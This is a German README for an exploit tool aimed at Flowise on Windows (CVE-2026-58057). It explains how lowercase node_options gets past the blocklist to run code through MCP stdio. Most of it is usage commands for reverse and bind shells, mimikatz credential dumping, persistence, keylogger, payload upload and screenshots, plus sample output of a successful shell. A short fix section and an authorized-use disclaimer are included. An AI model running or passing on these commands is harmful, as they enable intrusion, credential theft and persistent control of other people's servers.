Flowise Windows-RCE-Exploit für CVE-2026-58057. Umgeht die Validierung von Umgebungsvariablen über eine Schwachstelle bei der Groß-/Kleinschreibung. Verwendet node_options, um über MCP stdio beliebigen Code einzuschleusen. Unterstützt Reverse Shell, Persistenz, Datei-Upload und Credential-Dumping. Nur für autorisierte Sicherheitstests.
Dies ist ein produktionsreifer Exploit für CVE-2026-58057, eine kritische Schwachstelle zur Remote-Code-Ausführung in Flowise auf Windows-Plattformen. Die Schwachstelle entsteht durch eine case-sensitive Validierung von Umgebungsvariablen, die kleingeschriebenes node_options nicht blockiert, sodass Angreifer die NODE_OPTIONS-Blocklist umgehen und über die Custom-MCP-stdio-Konfiguration beliebigen Code ausführen können.
Der Exploit demonstriert professionelle Softwareentwicklungspraktiken mit modularer Architektur, umfassender Fehlerbehandlung und Unterstützung für mehrere Payload-Typen.
WICHTIG: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, Penetrationstests und Bildungszwecke bestimmt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Holen Sie immer eine ordnungsgemäße Genehmigung ein, bevor Sie ein System testen.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
node_options in Kleinbuchstaben--require malicious-loader.js# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Option | Beschreibung | Beispiel |
|---|---|---|
-t, --target | Flowise-URL (erforderlich) | http://localhost:3000 |
-k, --api-key | Flowise-API-Schlüssel | flowise_abc123... |
-u, --username | Benutzername | admin |
-p, --password | Passwort | password123 |
| Option | Beschreibung | Beispiel |
|---|---|---|
--payload | Payload-Typ | reverse_shell |
--lhost | Listener-Host | 192.168.1.100 |
--lport | Listener-Port | 4444 |
--command | Auszuführender Befehl | whoami |
--local-file | Hochzuladende Datei | payload.exe |
--remote-path | Remote-Speicherpfad | C:\\Temp\\update.exe |
| Option | Beschreibung |
|---|---|
--interactive | Interaktive Shell starten |
--verbose | Debug-Ausgabe aktivieren |
--timeout | Anfrage-Timeout in Sekunden |
--retries | Anzahl der Wiederholungsversuche |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| Payload | Beschreibung | Argumente |
|---|---|---|
reverse_shell | Stellt Verbindung zum Listener her | --lhost, --lport |
bind_shell | Öffnet lauschenden Port | --lport |
command_exec | Führt Befehl aus | --command |
file_upload | Lädt Datei auf das Ziel hoch | --local-file, --remote-path |
persistence | Installiert Persistenz | Keine |
info_gather | Sammelt Systeminformationen | Keine |
mimikatz | Liest Anmeldeinformationen aus | Keine |
screenshot | Macht Screenshot | Keine |
keylogger | Installiert Keylogger | Keine |
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
| Problem | Lösung |
|---|---|
| SSL-Zertifikatsfehler | pip install --trusted-host pypi.org -r requirements.txt |
| Zugriff verweigert | pip install --user -r requirements.txt |
| Verbindung abgelehnt | Ziel-URL und Netzwerkverbindung prüfen |
| Authentifizierung fehlgeschlagen | API-Schlüssel oder Benutzername/Passwort prüfen |
| Payload schlägt fehl | Verwenden Sie --verbose für detailliertes Debugging |
| Python-Version | Stellen Sie sicher, dass Python 3.6+ installiert ist |
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
git checkout -b feature/amazing )git commit -m 'Add amazing feature')git push origin feature/amazing)Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die Datei LICENSE für Details.
Autor: Sudeepa Wanigarathna Sicherheitsforscher & Penetrationstester
Wenn Sie dieses Tool nützlich finden, denken Sie bitte daran:
Mit ❤️ für die Sicherheits-Community erstellt